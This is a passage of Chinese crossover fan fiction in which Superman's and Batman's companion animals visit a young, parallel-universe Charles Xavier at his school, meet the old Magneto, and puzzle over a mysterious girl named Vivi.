斯诺却知道这其实就是答应的意思，之所以表情烂，是为了防止它们已经达成共识的情况被敌人提前注意到，布莱克在假装它们还在吵架，尚未开始讨论如何反击。 第36章 斯诺认真说过的能力只有飞行和钢铁之躯,但它也说过，它是为了陪伴超人而诞生的伴生动物，若是跟不上超人的速度,又怎么能称之为“陪伴”呢？ 至少对斯诺来说, 那不算是陪伴, 只能叫做等待。 它不愿意等待。 斯诺想要追上超人的步伐,进入加速状态,最好是更快一些,比超人和超人的敌人都要更快一些。 首先, 它要锁定猎物。 斯诺的视线最先跟上那一抹残影。 紧接着，斯诺也成为了一道残影。 …… 嗯？ 快银突兀的感觉背后一凉。 上次遇到这种情况,还是他在加速状态疯狂揍人,结果走着走着,那人眼珠子转动过来，居然跟上了他的速度。 不会又来吧？ ？ ？ 快银突然有种不好的预感。 他承认自己撩猫是有点儿手欠的。 但也不用这么现世报？ “我、艹——！” 伴随着一声响亮的F开头字母的国骂，快银扑倒在草地上,他们已经从教学楼一楼冲出来，跑出广场，绕到整个泽维尔学院的后面，在这片巨大的用来训练孩子们超能力的草地上，他们终于撞上了彼此。 准确的说，是斯诺撞上了快银的后背。 这一下让快银充分理解每次自己推别人时，那些非极速者到底是什么感受。 尤其是这家伙注意到自己撞飞快银时候快银有点左脚踩右脚, 为了防止快银在这个速度下失控，给自己摔成浑身骨头加脏器一起粉碎搅拌再组合的不明物体, 斯诺张口咬住他的后衣领，调整速度帮他刹车。 就是……刹的也有点狠。 可能会死。 这是快银脑子里飞闪而过的想法。 他的潜意识觉得自己要完。 往前的时候,有种身体出去了，头却始终慢上一步，只能沉甸甸拖在后面的美感，等到身体终于停下，头又被从后面甩到前面，脑浆抱成团三百六十度转了一圈，随后开始眼冒金星，整个人恍恍惚惚，不知今夕是何年，也想不起自己是谁。 好样的，好孩子，好狗，做的不错。 快银神志不清的想：看，至少他还活着。 “你、等……” 快银低头撑着膝盖，努力忍着，废了一番力气好歹忍住哇的一声吐出来的冲动。 斯诺就站在一旁看着他。 狗狗意识到自己刚才还是太用力了。 必须要更小心一些，更轻一点，就像克拉克每日都在做的那样——轻拿轻放。无论是任何东西，包括脚下的这片大地，他们都必须谨慎小心，用足够充分的温和与耐心去对待。 就算是这颗地球，对于沐浴在黄太阳之下的氪星人来说，都是无比脆弱的存在。 只要超人需要，他随时可以改变地球的轨迹，让这颗美好的星球坠入太阳，或者滑向宇宙深渊。 “所以有些人非常害怕超人，哪怕他表现的再温和友善，也无法缓和这些人的情绪。” 斯诺不认识的声音突兀的出现在它的脑海中。 随后那个声音立刻道歉。 “抱歉，私自进入你的大脑，我实在是有些担心学生的安全，冲动行事了，你是一只很好的狗狗，我不该怀疑你的善良。” 他不相信我。 斯诺不太在意，只是抬了抬耳朵。 他说我是好狗狗！ 斯诺眼睛亮了起来，但这不是自己的主人，所以斯诺也只是开心了一下，不至于到欢欣雀跃的地步。 “汪呜。”没关系。 斯诺表示自己才不会因为这个生气。 尤其是对方主动表示，刚才是快银乱撩猫在先，是快银不对，一会就让快银去跟布莱克道歉，这让斯诺对那人的好感度再次上升，私自入脑的事情已经完全被抹平了。 何况斯诺也很清楚刚才的危险性，那样的速度下是很容易出人命的，对方又不知道斯诺都有什么本事，很可能只是发现了危险情况，想控制最近的一具身体来救援他的学生。 情急之下的选择，斯诺完全能够理解。 狗狗飘了起来，冲着快银缓缓摇了两下尾巴。 “汪。”走吧，我们回去。 斯诺没有忘记告诉快银不要乱摸布莱克，虽然快银也许只是想撸猫，又担心被猫嫌弃，所以才在加速模式偷偷摸一把，正常猫咪是感觉不到的，可是它们是伴生动物，比普通小动物更加特殊，也更加敏锐，能感觉到他那短暂到难以被时间记录的瞬间触碰。 它汪汪了一大堆，快银没听懂，迷茫的看着这只狗狗，自言自语。 “这难道就是传说中的话痨型狗狗？” 斯诺：…… 斯诺从快银头顶上路过，先一步飞向教学楼的方向。 回到布莱克的身旁，此时那位叫做“野兽”的人类已经离开，只有布莱克一只大猫猫蹲坐在那里等待，斯诺摇着尾巴向布莱克打招呼，然后对猫猫轻轻汪汪：你闻到了吗？ 布莱克略微点头。 快银的身上存有少许属于旺达和幻视的味道，还能嗅到一点哈瑞肯孵化者的气味，其中快银自身的气味与旺达的味道纠缠得更深，也许是血亲关系，理论上是个可以相信的对象，只是可惜，快银并不是一名孵化者，也不像是达米安那样，是天生自带兽语Buff的人类。 这就导致它们和快银双方之间注定无法达成有效沟通。 还是去找那位X教授吧。 他能直接在我的脑子里说话，也许可以跨过孵化者的界限，和我们达成有效沟通呢？ 斯诺将刚才发生的事情告诉布莱克。 布莱克耳朵一背。 “喵嗷？”他能做什么？ “汪。”让我的脑子说话。 布莱克：…… 不愧是在蝙蝠侠的高危名单中也能挤入前十名的家伙，另外那些可都是外星怪物或者地狱恶魔呢。 布莱克本以为X教授的沟通范围只限定在人类这个物种之中，蝙蝠数据库存中也没显示过他拥有和动物沟通的能力，没想到他居然能顺利进入伴生动物的脑子。 大猫猫肉眼可见的紧张起来。 斯诺想要安慰它，又有些无从下爪。 而那位X教授也不知道是出于什么样的考量，没再连接它们中的任何一个，而是让快银陪同它们，让快银成为双方之间沟通的桥梁。 “教授的办公室在这边，”快银接替野兽的位置帮它们带路，“呃，教授问你们一般是喝茶还是咖啡或者水？你们能喝茶或者咖啡吗？” 布莱克略微龇了一下牙，嗓子里滚出一阵引擎轰炸似的低吼声：我喝血。 快银听不懂，却还是感觉到了大猫猫的威胁，自己有错在先，快银被吼也乖巧的听着。 斯诺则表示都可以，它像是在研究怎么样才能做到能与普通人类进行沟通，并做出了各种尝试，这次它选择通过晃尾巴来表示友好，并在前进时带上少许小步的蹦跳，以动态变化来表达的自己的轻松心情，试着传递出哪种自己都喜欢的意思。 它做的足够认真努力，快银看了一会，突然就get到这个意思。 “原来如此，我懂了！” X教授就在快银的脑子里，自然也懂了。 当斯诺因此而高兴，更快的摇晃尾巴的时候，快银指着它的尾巴，欢快的说：“这个我也懂，你好开心对不对？” “汪！”对！ 布莱克：…… 猫猫选择和他们保持距离，贴着另一侧的墙走。 很快它们穿过长长的走道和好多教室，来到尽头的那扇门前，快银去敲了门，里面响起X教授的声音，让它们进去。 快银帮它们撑着门，让两只小动物鱼贯而入，然后又帮它们关上门，自己没有进去。 “泽维尔天才学院欢迎你们。” 年轻人向它们走过来，打开双臂表示欢迎。 布莱克因此而愣了一下。 斯诺也愣了一下。 “汪呜。”你比我以为的还要年轻，声音也是，为什么刚才要压低声音，假装自己年长呢？ “我不得不这么做，嗯……你不知道我？” “汪汪。”我知道你是X教授。 “谢谢，我很高兴你能听过我的名号，先坐吧。对了，你们可以叫我查尔斯。” X教授笑着，轻轻眨了一下蓝矢车菊色的眼睛，布莱克接收到对方的眼神示意，略带人性化的挑高一侧的眉头，随后查尔斯开始招呼斯诺和布莱克落座，他为它们准备了厚实圆润的坐垫，等它们坐稳之后他又为它们送上清水。 ——给猫和狗喝红茶或者咖啡果然还是太奇怪了。 布莱克低头看着面前的清水。 X教授可以和它们沟通，他能越过孵化者的界限，理解斯诺所想要表达的东西。 这让斯诺很快乐，却让布莱克感觉十分微妙，从蝙蝠侠身上继承来的敏感神经和猫科的警觉让布莱克无法完全信任X教授。 尤其是它们面前的，这个。 真的会有人相信他么？ 他还在伪装他入脑后发出的声音。 其他人居然都认为这完全没有问题？ 万磁王在这里估计都不会信。 “他也确实不信。” 过来第一天就被自己从海里捞上来的新朋友（老年版）用扭曲拉伸成条状的金属水壶锁喉，差点吊死在房间门口的查尔斯笑的十分无奈。 “甚至都不愿意给我一个解释的机会。” 上来就杀。 要不是查尔斯可以入脑快速说明情况，恐怕根本活不到现在。 “这只是一次意外。” 查尔斯试图简单解释，又发现如果不入脑快速播放，那么他身上发生的事情，真没办法在几句话之内讲清楚。 查尔斯短暂卡壳了。 斯诺左看看，右看看，一副迷茫跟不上节奏的模样。 “汪呜……？”怎么了？ 布莱克扭头用肉垫拍了一下斯诺的脑门：“哇呜！”笨蛋，看不出他很年轻吗？ 斯诺歪头：年轻？年轻不是好事吗？ 布莱克：…… 第37章 喝茶, 吃点心。 茶几上原来放着一盘下到一半的国际象棋，现在已经被查尔斯收走了，取而代之,白磁盘托着的茶点和盛满清水的茶杯占领了这里。 查尔斯靠在客用的单人沙发里,指尖捏着一块酥饼,布莱克没有吃喝,斯诺倒是放得开,啃着饼干,那模样充满快乐却也不失优雅,饼干渣只掉在盘子里，偶尔有些沾到胡子上,它也会认真用舌头舔干净再抬头。 “你们是怎么找过来的？”查尔斯问它们。 “汪呜。”斯诺说：我们“借用”了路人的手机查询资料, 直接在网络上搜索“X教授”就能得到不少信息, 包括泽维尔天才学院的地址。 “很聪明。”查尔斯真心夸赞。 斯诺开心被夸。 只有布莱克不开心的垮着个猫脸，盯着盘子里的饼干，苦大仇深的发呆。 查尔斯无奈的笑着,试图安慰这只有些过于敏锐的大猫猫。 “不是我不愿意告诉你们缘由，而是那对我来说也多少有些离奇，到现在我们也没能弄明白发生这件事的具体原因。” “哇呜？”你是自愿进行交换的吗？ “当然不是，但也说不上被迫的吧，在交换的瞬间，我和这个平行宇宙的自己产生了思维交汇，我们都觉得这很有意思,于是小小的放纵了一下。” 准确的说，是查尔斯觉得很有意思,而属于这个平行宇宙的那个年迈的X教授为什么也会选择放任交换的发生？这其中的缘由暂时不得而知，就算是查尔斯也无法预知几十年后自己的变化并立刻理解对方的思维。 可…… 真的会有人因为“好玩”就前往隔壁平行宇宙吗？ 如果是哥谭的疯子这么说,布莱克还有可能会相信，可查尔斯是个正常人，应该做正常人会做的事情，不是吗？ “不是的哦，”查尔斯温和的纠正布莱克的说法，“正常人也会冒险，而冒险本身也并不是什么无理取闹的事情，只要我们能为自己冒险的后果负责，那么冒险本身还是挺不错的，有益身心健康哦。” “……” 布莱克盯着查尔斯，在他脸上收集那些细微的表情变化，以此来判断他是否撒谎。 斯诺已经吃完自己盘子里的那份饼干，悄咪咪看了布莱克的盘子一眼，它还是懂事的，不至于钻进去吃，又低头去舔自己杯子里的清水。 布莱克被斯诺满足舔嘴的声音打断了思路。 看着这只吃饱喝足也不怕人下毒的汪，布莱克有种气不打一处来的感觉，嫌弃的将自己的盘子也推给斯诺。 吃吧吃吧，反正你不怕人下毒。 气呼呼的大猫扭开了脑袋。 然后斯诺还真的把布莱克那份也给吃了。 大猫猫张大眼睛，看着这只狗东西。 狗狗抬头看它，嘴巴舔着唇，还十分无辜的摇了两下尾巴。 布莱克：“……” 它也不知道自己在气什么，总之就是很气。 查尔斯默默围观它们之间互动，觉得很有意思，可惜自己没有孵化伴生动物，也不知道是因为自己并不属于这个平行宇宙，还是变种人的缘故。 不过氪星人都能孵化伴生，没道理变种人被排除在外。 查尔斯在脑内自由畅想自己孵化出一只漂亮百灵之类的毛茸茸，一时之间有些走神，等他回过神来，布莱克已经走到他的面前，正近距离观察这只名为“变种人保守派领袖”的家伙。 查尔斯与它对视，不仅不会害怕，反而有种安全感。 大猫猫正安静的看着他，带着好奇和探究。 神佛垂怜，俯视人间。 不知为何查尔斯脑内突然泛起一丝酸涩。 他去触碰一堵漆黑的墙，手上却没有触及一片冰冷。 原来“像一堵没有感情的水泥墙”不过是个夸张的比喻，最冷漠的是真的将他视作一面墙的那些人，而不是那堵有血有肉的“墙”。 这一瞬查尔斯居然透过布莱克的眼睛，看到了蝙蝠侠的一片剪影。 查尔斯也无法确定那个画面是自己的臆想，还是自己一不小心进入了布莱克的视角，他急忙稳定住自己的大脑，不让它胡乱思考，然后对布莱克说。 “我知道外面的人是怎么称呼我的，但你也知道，那严格来说，并不是属于我的称号。我还不是领袖呢，无论是能力、经验、责任心……各个方面我都差的太多。” 这话听着像是一种谦虚，实际上只有查尔斯自己知道，突然面对一所学校，这么多孩子，涉世未深、尚且年轻的他心里根本没有底。 无意间，查尔斯再次望入布莱克的眼底。 那里有一道天然屏障，自行隔绝一切精神力的窥探，当查尔斯注视着布莱克的眼睛，却看不透彻，无法像对待其他人那样，一眼看进对方的灵魂中去。 在布莱克的眼眸深处，查尔斯能看到的是一潭属于哥谭的死水。 哪怕有人往里面丢炸弹，它也不过是跃起恶臭的水花。 鬼使神差的，查尔斯抬手，带着少许冒犯，在没有得到邀请的情况下主动靠近，将手贴上布莱克的脸侧。 他共情到了某种情绪，但他的人生阅历还不足以让他很好的理解那个。 他还太年轻了。 “真遗憾，”查尔斯迅速收敛好自己的情绪，有些无奈的笑着叹了口气，起身去给两只毛茸茸续上清水，“要是年长的我在这里就好了。” 布莱克略微停顿，将下巴放在这名年轻人的掌心里。 美洲豹的脑袋还是挺有份量的，查尔斯默默换成双手托住。 “喵？”为什么？ 布莱克问他。 “也许他能更好的理解你们。” “哇呜。”可你比这世界上99%的人都懂我们，你能明白我们在说什么，也能让我们理解你想表达的东西。 这已经很完美了。 你还想做的更好么？ 布莱克看着他，大猫猫的眼睛水汪汪的，会说话，根本不用读心的能力，也能从中看到一片深情。 这就是“魅惑”的技能吧…… 查尔斯小心翼翼的移开目光，转而看向还坐在沙发上的斯诺。 “对了，你们特意找到我这边来，是有什么事情吗？虽然我不是这个宇宙的X教授，可若是有能帮忙的，也请不必客气。” 布莱克侧过脑袋，依然用自己的下巴封印查尔斯的双手，自己则用眼神同斯诺交流。 要告诉他吗？ 他都不是真正意义上的X教授哎。 斯诺的眼神清澈宁静，汪呜一声表达疑惑。 那句话查尔斯也听懂了。 斯诺在问：平行宇宙是什么？ 布莱克：……要从这里开始解释吗？ 斯诺真诚的看着它：可以从这里开始解释吗？ 布莱克：…… 猫猫因为不想解释都飞机耳了起来。 查尔斯努力忍耐，不让自己大声的笑出来。 接下来，讲解平行宇宙问题的工作交给了人类，大猫终于对食物有了欲望，布莱克踱步回到沙发，路过茶几时不经意的耸动鼻尖，嗅着空气里残余的曲奇饼的甜味。 这不一定是想吃，最多只是因为放松下来，开始对周围产生探索的欲望罢了。 查尔斯还是立刻去给它端了一份新的饼干过来。 布莱克看了他一眼，低头吃饭去了，查尔斯这才开始上课——他还没给人正经的上过一堂课呢。 屋子里就能找到小黑板和粉笔，查尔斯不知从哪里翻出一副没度数的眼镜戴上，开始给斯诺讲解关于平行宇宙的各种事情。 还现场上网搜来一些平行宇宙入侵的案例。 比如夜枭，一般认为是蝙蝠侠的同位体，但蝙蝠侠似乎另有判断。 比如终极人，超人的同位体。 还有虽然不是反派，却也和正义联盟众人完全不同的灰色蝙蝠侠和白色超人，以及他们带领的正义领主。 斯诺一愣一愣的，突然想起什么，扭头去看布莱克。 “汪呜……？”他们也会有伴生动物么？ 布莱克沉默的看回去，以此来表示自己也不知道。 它们一路找过来，急匆匆的，真到了地方反而不着急了，馍馍的情况已经是趋于饱和，但生物体到底不似机械存储那样死板，看当时馍馍的状态，它依然拥有一段缓冲空间。 布莱克决定再观察一下，确认这个年轻的X教授是否符合馍馍的需求。 毕竟严格来说，这并不是馍馍让它们找的那个人。 斯诺脑子还有些乱，选择听布莱克的。 “看来你们决定好要留宿了。” 查尔斯感觉到它们对自己的情绪变化，壮着胆子伸手去抚摸大猫的脑袋，有了刚才托下巴的行为，布莱克对于查尔斯的触碰接受良好，完全不抵抗也不闪避。 他得以撸到布莱克厚实毛绒的耳尖，并因此在内心发出叹息。 手感好棒…… 查尔斯悄悄多摸了两下。 “我给你们准备一间宿舍作为临时住所吧。” “汪。”谢谢。 斯诺略微张口吐出舌头，同时摇着尾巴，以此来表示开心的情绪。 布莱克只是抬眼看了查尔斯一眼。 猫猫就是这样的，没跑、没动爪子、没用尾巴打人，这就是心情还不错的意思。 接着，查尔斯叫来快银，让他带两只小动物去找一间空着的宿舍暂住，考虑到猫猫不喜欢一惊一乍，最好是周围住的其他学生也比较喜静，能保持状态稳定的位置。 快银想了想。 “嗯？那不就是我么？？我的状态很稳定。” “但你不喜欢安静。”查尔斯在快银的脑子里反驳他，然后突然想起一件事情，“是不是有个叫做薇薇的学龄前小女孩？” “有，但是她自己也不太稳定……” “没关系，布莱克和斯诺都是很有耐心的小动物，或许它们还能帮到薇薇。” 确实有这个可能性，快银一口答应下来。 小动物们走了，房间内恢复安静，查尔斯看着门，然后一屁股坐到轮椅里。 他不太会用这个，差点让轮椅撞在桌子上，好在轮椅及时被一股强大的蛮力控制在原地，无论如何都无法移动分毫，这才免去他受伤的糟糕情况。 “谢谢你，艾瑞克。”查尔斯向暗房里的人道谢。 暗房里传来苍老而平和的声音：“真遗憾，查尔斯，它们并不相信你，它们来找你，却始终没说是为了什么。” 查尔斯摇头：“没关系，信任不是那么容易的事情。出来吧，我们的棋局还没结束呢，让我看看……我应该能还原它的。” 查尔斯正要从柜子里拿出刚才收好的棋盘，手指刚触到棋盘，棋盘和棋子就自己动了起来。 查尔斯自然的收回手。 这座学校改造自查尔斯家族继承的城堡，城堡里有许多暗道密室，他的办公室里就有一个，刚才两只小动物过来造访，一直在陪他下棋的艾瑞克暂时不想跟动物正面接触，就暂时避入密道中。 艾瑞克。 不是他认识的那个新朋友。 这个艾瑞克老多了，而且非常了解自己。 他们在许多年后依然是故友。 查尔斯回到沙发边上，棋盘棋子就跟在他身侧，挨个落下，自动恢复成两人之前下到一半时的状态。 他们继续博弈。 第38章 薇薇是个比较特殊的小孩。 查尔斯其实也不太了解对方,他到这里没几天，忙着隐瞒身份，练习如何伪装成未来的自己,这些工作量就够大了,更不要说他还要备课。 ——这本身不难。 但查尔斯必须向未来的自己那样了解每一个学生才不会露馅。 这可不容易。 但他很容易就记住了薇薇。 “你藏着这么个孩子是要做什么？老朋友,她不是变种人,甚至不是个人类。” 艾瑞克的造访纯粹是来下棋, 结果看到薇薇就不走了, 也不知道是在意, 还是另有算计，查尔斯并不了解这年长自己许多的“老朋友”, 但他相信自己的判断。 “她是个好孩子, 我们不能以貌取人。” 老艾瑞克没有接话, 只是默默落下一子。 他的棋路也变了。 查尔斯摩擦着手中的白子，老艾瑞克的棋路看似温和，实则暗藏波涛,完全不似年轻时候快刀斩乱麻的凶狠直白。 对于年轻的查尔斯来说，是有些过分棘手了。 被动防御根本无法解决问题，反而显得他狼狈不堪。 这让查尔斯难免有点儿抱怨的情绪，他能看出老艾瑞克是在博弈中发泄内心的不满，并向他展示这个选择将会有多危险。 薇薇像是个诡谲的错误。 老艾瑞克认为她将带来巨大的麻烦。 然而这份关心并未得到查尔斯的尊重，他拒绝了老艾瑞克的好意。 但，话又说回来了。 其实并不是查尔斯拒绝了老艾瑞克。 是属于这个平行宇宙的老查尔斯做出选择, 年轻的查尔斯在交换后不过是赶鸭子上架，尽可能让一切维持原样。 查尔斯在内心抱怨了一瞬,很快调整好心态。 就算给他机会亲自做一次选择，他也会留下薇薇,绝不可能放弃这么个小小的孩童，因为薇薇危险就将她丢出去自生自灭。 哪怕老艾瑞克说清楚了会出手帮忙照顾，将薇薇带去一个叫做基诺沙的地方生活，那是在老艾瑞克管辖范围内的属于变种人的和谐社区。 查尔斯：…… 怎么听怎么奇怪。 “如果，薇薇很危险，”又一次落子之前，查尔斯问出了自己的疑惑，“将她放在学校很危险，将她放在一个和谐的社区也很危险，那么我们为什么还要转移她？” 老艾瑞克笑而不语。 查尔斯看着他，神情中透着迷茫。 当老艾瑞克笑着叹息，说出“那时候我们还相信着彼此，不是吗？”的时候，查尔斯内心的猜测才终于落地。 老艾瑞克是要带走薇薇。 而这个行为本身不知道意味着什么，以至于这个平行宇宙的自己绝不同意，并且很可能是为了不让老艾瑞克有机会从其他地方夺走薇薇，年长的那个自己才会坚持将薇薇留在X学院内部照顾。 听这家伙的意思是，年长的自己并不相信他。 也不知道这些年都发生了什么，不仅是艾瑞克变了许多，周围的其他人也是，查尔斯庆幸大部分依然留在自己身边，却也发现少了很多应该陪伴着自己的人。 比如自己的妹妹，魔形女…… 查尔斯短暂的走了个神，然后对老艾瑞克说：“我相信你，艾瑞克，不管是哪一个。” “你怎么知道这个平行的你是怎么想的？” “我了解我自己。以及，我了解你，艾瑞克。不管我们是否会走向不同的道路，但我们最终的目标依然相同，我们要找寻一条更好的，人和变种人之间的道路。” 老艾瑞克没有接话，他只是看着查尔斯，而查尔斯没有进入他的大脑，也不知道他在想些什么。 …… ………… “我是薇薇。” 不怎么像是个人类的小女孩对两只动物说。 她的模样大概是四岁左右，面对巨大的美洲豹也不知道害怕，神情很平静，像是个程序，看着就觉得眼熟，这机械的感觉像极了幻视，只不过幻视的意识只有在偶尔的时间才能勉强连上自己的身体，而薇薇的链接十分稳定，能稳定持续的控制身体活动。 斯诺靠近嗅了嗅，不出意外的嗅到了幻视和旺达的气息。 “汪呜？”你是他们的孩子吗？ 斯诺的提问没有得到回答。 也不知道是听不懂，还是不知道答案，薇薇只是看着它们。 快银叫了两声，将薇薇的注意力叫到自己身上，在交代任务之前，快银先试着和薇薇沟通，平常的聊天，但薇薇并不合作，几乎不接话，这让快银十分苦恼。 “你以前不这样的，到底怎么了？”快银叹了口气。 薇薇：“我，很好。” 快银：……个屁啊！ 快银暂时放弃，一板一眼的将任务交给薇薇，这让薇薇适应良好，就像接任务那样接下了这份工作。 在快银离开后她关上门，呼出一口气。 可以看得出她跟快银的交流真的非常艰难，用了不少力气。 薇薇站在原地缓了几秒才拉开椅子，在书桌前坐下，开始上网搜索养育小动物需要准备的东西和注意事项。 “窝，睡觉的地方。” 薇薇嘀咕着，起身从衣柜里搬出自己的被褥，比划着两只动物的身体大小，开始尝试给它们做窝。 斯诺和布莱克一起坐在房间里，互相看看。 “汪。”她真的和幻视一模一样哎。 “汪嗷？”但她的感觉额外奇怪一点，你感觉到了没有？ 布莱克略微点头。 薇薇确实有些奇怪。 还有一个问题，布莱克十分在意，它喵呜着问：如果她是幻视和旺达的女儿，难道她的存在不能帮助旺达稳定精神吗？为什么不将她送回旺达身边去？ 这确实很怪。 斯诺歪头想了想，迟疑道：也许是旺达的情况太差，为了保护薇薇，才让她们分开的？ 可旺达看起来完全不知道自己有个女儿。 馍馍似乎也不知道。 布莱克：也许馍馍知道，它让我来找X教授，本质上却是为了找到这个小女孩。 斯诺：馍馍说的是如果出现万一的情况，希望能得到X教授的帮助，将幻视完全从旺达的记忆中抹去。 那时候馍馍的精神状态不太稳定，说话大概是没过脑子的。 去外界寻找精神能力者来帮忙，这计划却是个很不错的想法，值得一试。 所以斯诺愿意和布莱克一起来找X教授，只不过它们决定将请求改成对旺达进行精神安抚和舒缓，帮助旺达走出痛苦，而不是简单粗暴的删除对幻视的记忆。 “汪呜？”你是什么打算？ 斯诺问布莱克。 布莱克只是瞄了斯诺一眼，不知道在想什么，斯诺再问，却只换来布莱克从喉咙深处滚出的声音，看来猫猫并不准备分享它的小计划。 斯诺耷拉着耳朵，无辜的呜呜着。 这时候薇薇走过来，伸手安抚性质的摸了摸斯诺的脑袋，对它们说：“来试试看你们的新窝吧，我将会为你们提供食物和水，请稍等一会。” 叮嘱完毕薇薇就开始准备出门，她先是站在门口闭目自我洗脑，嘀咕着什么“我也是个人”，然后深呼吸，猛地拉起兜帽挡住脸，接着就快步走了出去。 布莱克和斯诺再次对视。 她真的好奇怪。 斯诺钻出房间远远跟在薇薇身后，布莱克则留下调查房间内部。 根据气味叠加的程度来判断，布莱克怀疑薇薇已经在X学院住过很长一段时间，可能有一年以上，而食梦貘是在将近一年前孵化的。 也就是说，馍馍很可能是在薇薇被送走后才孵化的。 馍馍也许根本不知道薇薇的存在。 这也解释了为什么林间小屋里完全没有薇薇存在的痕迹。 目前能确定的时间线是：旺达被困在梦中，食梦貘孵化并唤醒旺达，醒来的旺达在某个地方找到了坏掉的幻视，她带走幻视，躲到森林中，并在那里建设了林间小屋，靠着加速时间流速来加快幻视的自然康复速度。 而薇薇很可能是在一切发生之前旺达和幻视生下的孩子。 在幻视还没坏掉，旺达也还没沉睡的时候。 那时候又发生了什么？ 旺达醒来后又是怎么找到幻视的？ 为什么旺达看起来像是完全不知道自己有个孩子的模样？那薇薇又知道自己的父母是谁，现在生活在哪里吗？ 问题太多，线索太少。 大猫猫有点头疼，脑壳都有点痒，忍不住原地坐下，抬起后爪挠了挠耳朵。 挠完痒后大猫猫又站了起来，迷茫的环视屋内。 这里几乎没有个人用品，所有东西都是标准的，没有任何兴趣偏向，看得出薇薇的生活模式非常枯燥单调，连做的猫窝狗窝都是中规中矩的四方形，只考虑实用性，美观问题只能说它不丑罢了。 整体来看薇薇身上人性不足，还有种活着只是程序还在运作的恐怖味道。 “……” 布莱克又在屋子里转了两圈，再一次的原地坐下。 它找不到更多线索，无法继续推理。 是不是应该从复仇者那边入手比较好呢？ 苦恼的大猫猫思考着。 旺达和快银身上都有属于哈瑞肯孵化者的味道，那个叫做鹰眼的超级英雄是个复仇者，就住在斯塔克大厦内部，也就是锈斑猫的领地范围。 也许只要去问锈斑猫就能知道些什么。 布莱克暂时将这个计划放到一边。 薇薇回来了。 带回的碗是直接从后厨里取的，有可能是用来装水果或者饼干的那种中号的碗，能装下比较多的干粮，用来喂大型猫还挺刚好的。 猫粮和狗粮是个问题，她需要外出购买。 买东西需要钱。 薇薇迟疑片刻，决定出门去找X教授。 陪着薇薇一起回来的斯诺还没坐下呢，就发现薇薇又要出去了，她先用重量较大的金属圆盘给两只动物留了清水，然后从床头柜里找出甚至没有拆封的崭新钱包放入口袋里揣好，这才推门离开，狗狗疑惑的歪起脑袋。 “汪呜？”她怎么了？ 布莱克也有些疑惑：她好像没钱，那钱包都没拆封，她来这里至少一年了，都没有出门花过钱么？ 斯诺迷茫的摇了摇狗头。 这还真难说。 学校食堂基本免费，没有房租水电，这里收养了很多被抛弃的小变种人， X教授不可能让他们交学费的。 薇薇又没有额外的需求，很可能一年下来都没花过一次钱。 第39章 这次换布莱克跟在薇薇身后。 路上可以看到其他小变种人对薇薇的态度还可以,无论是害怕还是好奇都十分隐蔽，他们自己就因为异常而遭受普通人类的排挤，自然不会因为薇薇的异常就来排挤薇薇。 那薇薇带上兜帽,一路低头不语的回避行为是为了什么？ 还是说这也是一种“程序设定”, 其实并不是薇薇想要回避他人的目光, 而是有人给薇薇这样的设定, 让薇薇小心掩饰自身的异常？ 还有一个很重要的问题。 布莱克非常在意。 在薇薇敲开X教授办公室的大门,成功拿到零用钱离开后,布莱克没有急着跟上薇薇,而是留下来，看着年轻的X教授,等他靠近自己的脑子来跟自己沟通。 查尔斯也很快注意到大黑猫的异常,于是他主动链接了对方,问：“是有什么需要我帮忙的吗？不用客气。” “哇呜。”有。 布莱克大大方方承认，并直接问了出来：“哇呜。”机器人能怀孕吗？ 查尔斯：……？ 布莱克的问题成功让查尔斯大脑宕机了好几秒。 “抱歉，你说,什么？” 查尔斯开始怀疑自己是否产生了幻听，也许是什么交换平行宇宙时产生的后遗症让他的能力不太稳定，脑子也不太正常，于是查尔斯带着歉意请布莱克再说一遍。 布莱克想了想，也意识到自己没说对，于是换了个问法：机器人能生孩子吗？ 查尔斯怀疑自己的能力果然是出了某种问题。 “机器人不能怀孕，也不能让人受孕,那根本不是生物，就算是要繁衍,也不会是以生物的方式来产生后代。” 一个苍老的声音成功拯救了查尔斯即将打结的脑子。 年轻的教授循声看过去，看到老艾瑞克正从暗门处走出来。 就算是年长的那个X教授都没有一天到晚的让老艾瑞克躲在暗道里, 也就这个年轻的，初生牛犊不怕虎，做事一点分寸都没有。 老艾瑞克大大方方在自己脑子里抱怨这个年轻的查尔斯不知道尊老爱幼。 闹得查尔斯不好意思的红了脸。 布莱克来回看他们，片刻后想明白了。 并不是精神能力者的艾瑞克也能加入他们的对话，估计是因为查尔斯和艾瑞克的精神处于相连的状态，思维的翻译同步过去了。 “哇呜？”你们的关系很好吗？ 布莱克不解的问。 查尔斯笑着说：“当然，我们是多年的故友了。” “……”可是你们不是敌对关系吗？ 布莱克看了看他，又看了看老艾瑞克，到底没问出口，而查尔斯又很礼貌的只是翻译，而没有去读布莱克的脑子，自然不知道布莱克脑子里都在想些什么。 他只看到猫猫垮着个猫脸，面无表情中仿佛还有一丝错觉般的嫌弃。 “……怎么了？”查尔斯不太理解。 布莱克扭开脑袋，哼了声。 算了，是猫猫不懂你们人类的小情趣。 还是思考机器人的事情吧。 机器人不能让人怀孕，也不会怀孕，那薇薇到底怎么冒出来的？ 哦，不对。 布莱克突然反应过来。 薇薇她也不是人啊！ 那，她还算旺达的血亲吗？ 布莱克有些分不清这事情是在变简单，还是越发复杂，它感觉自己的猫脑开始过载，开始升起青烟。 “有没有可能，她确实不是你口中那个机器人的孩子，至少不是这个？” 老艾瑞克提供了一种可能性，只是他说的太过模糊，布莱克没能理解，什么叫做“不是”以及“至少不是这个”？ 这是什么意思？ 老艾瑞克是喜欢打哑谜的。 查尔斯也没能立刻理解，他看着老艾瑞克，神情迷茫，只觉得老艾瑞克看着自己的神情明显若有所指，仿佛一切的答案都在自己身上。 “你的意思是……她是……像我这样？我不是第一个……？” 老艾瑞克缓缓颔首，表示肯定。 于是布莱克脑袋上的小问问越来越多。 什么第一个？ 什么像他那样？ ？ 哪样？ 想到这一步，布莱克恍然大悟。 像这个年轻版的查尔斯一样，不属于这个世界，这个时间点的存在。 如果薇薇遇到的是相同情况，那就可以解释为何旺达和幻视根本不知道薇薇的存在，因为严格来说，薇薇根本就不是他们的孩子。 但这也不过是老艾瑞克的个人猜测，真相到底如何，还需要寻找更多的证据。 “查尔斯，以你的手段，若是想要知道那个女孩到底是什么情况，完全可以直接进入她的大脑搜索以往的记忆，每个平行宇宙都略有不同，她的记忆里肯定会有蛛丝马迹。” “艾瑞克……” “如果你怕她不愿意，趁着她睡觉的时候动手就好了，她什么也不会知道，而我们也能放下心中的疑虑。” “艾瑞克！” 老艾瑞克循循善诱的劝说和查尔斯那不满的抗议声都被布莱克抛去脑后，它钻出查尔斯的办公室，再次跟上薇薇的脚步。 薇薇在一楼的走道口等它，手上还拿着一条项圈，神情略带困惑。 